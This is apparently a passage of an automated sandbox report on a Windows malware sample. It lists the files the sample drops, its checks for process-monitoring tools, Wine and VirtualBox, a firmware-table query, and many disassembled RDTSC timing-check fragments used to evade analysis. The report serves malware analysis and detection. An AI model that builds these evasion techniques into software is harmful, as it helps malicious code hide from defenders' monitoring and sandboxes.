Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6CB88 pushfd ; retf	1_3_00D6CB99
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Code function: 1_3_00D6D469 push edi; retf	1_3_00D6D46A

Source: BVGvbpplT8.exe	Static PE information: section name: entropy: 7.983496110315362
Source: BVGvbpplT8.exe	Static PE information: section name: xpumokpk entropy: 7.9532772080484335

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File created: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe			Jump to dropped file
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File created: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\BVGvbpplT8.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10E7BAF second address: 10E7BB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10E6D0C second address: 10E6D55 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAAF8FC5086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAAF8FC5098h 0x00000010 jg 00007FAAF8FC5086h 0x00000016 popad 0x00000017 jmp 00007FAAF8FC508Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FAAF8FC5093h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EA70D second address: 10EA712 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EA78A second address: 10EA794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EA794 second address: 10EA7E4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4C4AF8CFh 0x0000000f mov si, di 0x00000012 push 00000003h 0x00000014 or esi, 7B265802h 0x0000001a push 00000000h 0x0000001c mov edi, 7D58BDA5h 0x00000021 mov esi, dword ptr [ebp+122D3726h] 0x00000027 push 00000003h 0x00000029 cmc 0x0000002a push C41C5E5Dh 0x0000002f push eax 0x00000030 push edx 0x00000031 jns 00007FAAF912803Fh 0x00000037 jmp 00007FAAF9128039h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EA7E4 second address: 10EA816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 041C5E5Dh 0x00000010 mov si, D8C1h 0x00000014 lea ebx, dword ptr [ebp+12456645h] 0x0000001a push ebx 0x0000001b mov esi, dword ptr [ebp+122D35FAh] 0x00000021 pop edi 0x00000022 mov edi, dword ptr [ebp+122D2B9Eh] 0x00000028 push eax 0x00000029 push edi 0x0000002a push esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAA2A second address: 10EAA31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAA31 second address: 10EAAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jno 00007FAAF8FC509Fh 0x0000000e nop 0x0000000f mov si, di 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FAAF8FC5088h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 0D8EAED6h 0x00000033 push edx 0x00000034 jne 00007FAAF8FC5088h 0x0000003a pop edx 0x0000003b xor dword ptr [esp], 0D8EAE56h 0x00000042 push 00000003h 0x00000044 mov si, D867h 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b and cl, FFFFFFF1h 0x0000004e pop edx 0x0000004f push 00000003h 0x00000051 mov edi, dword ptr [ebp+122D35D2h] 0x00000057 call 00007FAAF8FC5089h 0x0000005c jbe 00007FAAF8FC5098h 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 jmp 00007FAAF8FC508Eh 0x0000006a popad 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e push esi 0x0000006f push edx 0x00000070 pop edx 0x00000071 pop esi 0x00000072 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAAD1 second address: 10EAAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAAF9128035h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAAEA second address: 10EAAEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAAEE second address: 10EAB00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAB00 second address: 10EAB1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAAF8FC5090h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAB1A second address: 10EAB46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FAAF9128031h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAB46 second address: 10EAB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAB4A second address: 10EAB4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10EAB4E second address: 10EAB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007FAAF8FC5088h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov dx, ax 0x00000025 mov edi, dword ptr [ebp+122D38DEh] 0x0000002b lea ebx, dword ptr [ebp+12456659h] 0x00000031 mov edi, esi 0x00000033 push eax 0x00000034 pushad 0x00000035 push eax 0x00000036 jmp 00007FAAF8FC5090h 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1108AB8 second address: 1108AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1108F45 second address: 1108F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11090C2 second address: 11090C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11090C6 second address: 11090CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1109507 second address: 110950D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110950D second address: 1109517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1109517 second address: 110951B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110951B second address: 1109521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11097E1 second address: 11097F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAAF9128034h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11097F9 second address: 1109816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5099h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1109C54 second address: 1109C5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1109C5A second address: 1109C64 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAAF8FC5086h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1109C64 second address: 1109C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110D55A second address: 110D560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110C429 second address: 110C42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110EE1B second address: 110EE20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110EE20 second address: 110EE28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 110EE28 second address: 110EE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DD51D second address: 10DD533 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAAF912802Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1116D81 second address: 1116D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1116D88 second address: 1116D8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DA0AE second address: 10DA0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1116447 second address: 111645D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAAF9128026h 0x0000000a popad 0x0000000b jc 00007FAAF9128030h 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11169A6 second address: 11169BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11184AF second address: 11184BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FAAF9128026h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10E26BC second address: 10E26C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10E26C0 second address: 10E26DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAAF9128026h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FAAF9128030h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10E26DC second address: 10E26F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FAAF8FC5086h 0x00000009 jng 00007FAAF8FC5086h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1118CAC second address: 1118CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4428A506h 0x0000000f jmp 00007FAAF912802Ch 0x00000014 push AF7ECD7Fh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1118CD1 second address: 1118CF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5093h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FAAF8FC5086h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11198F5 second address: 11198F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11198F9 second address: 1119902 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1119A60 second address: 1119A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1119EBE second address: 1119EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1119EC2 second address: 1119ED8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FAAF9128032h 0x0000000e js 00007FAAF912802Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1119F7A second address: 1119F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1119F7E second address: 1119F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1119F88 second address: 1119F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111A40E second address: 111A412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111ADF6 second address: 111AE24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FAAF8FC5086h 0x00000009 jmp 00007FAAF8FC5091h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAAF8FC508Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111C026 second address: 111C090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c or dword ptr [ebp+122D34D4h], esi 0x00000012 mov dword ptr [ebp+122D346Fh], ebx 0x00000018 popad 0x00000019 mov di, 75EDh 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007FAAF9128028h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 movsx edi, dx 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push eax 0x00000041 call 00007FAAF9128028h 0x00000046 pop eax 0x00000047 mov dword ptr [esp+04h], eax 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc eax 0x00000054 push eax 0x00000055 ret 0x00000056 pop eax 0x00000057 ret 0x00000058 clc 0x00000059 push eax 0x0000005a push ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d jno 00007FAAF9128026h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111B72D second address: 111B748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAAF8FC5096h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111B748 second address: 111B756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
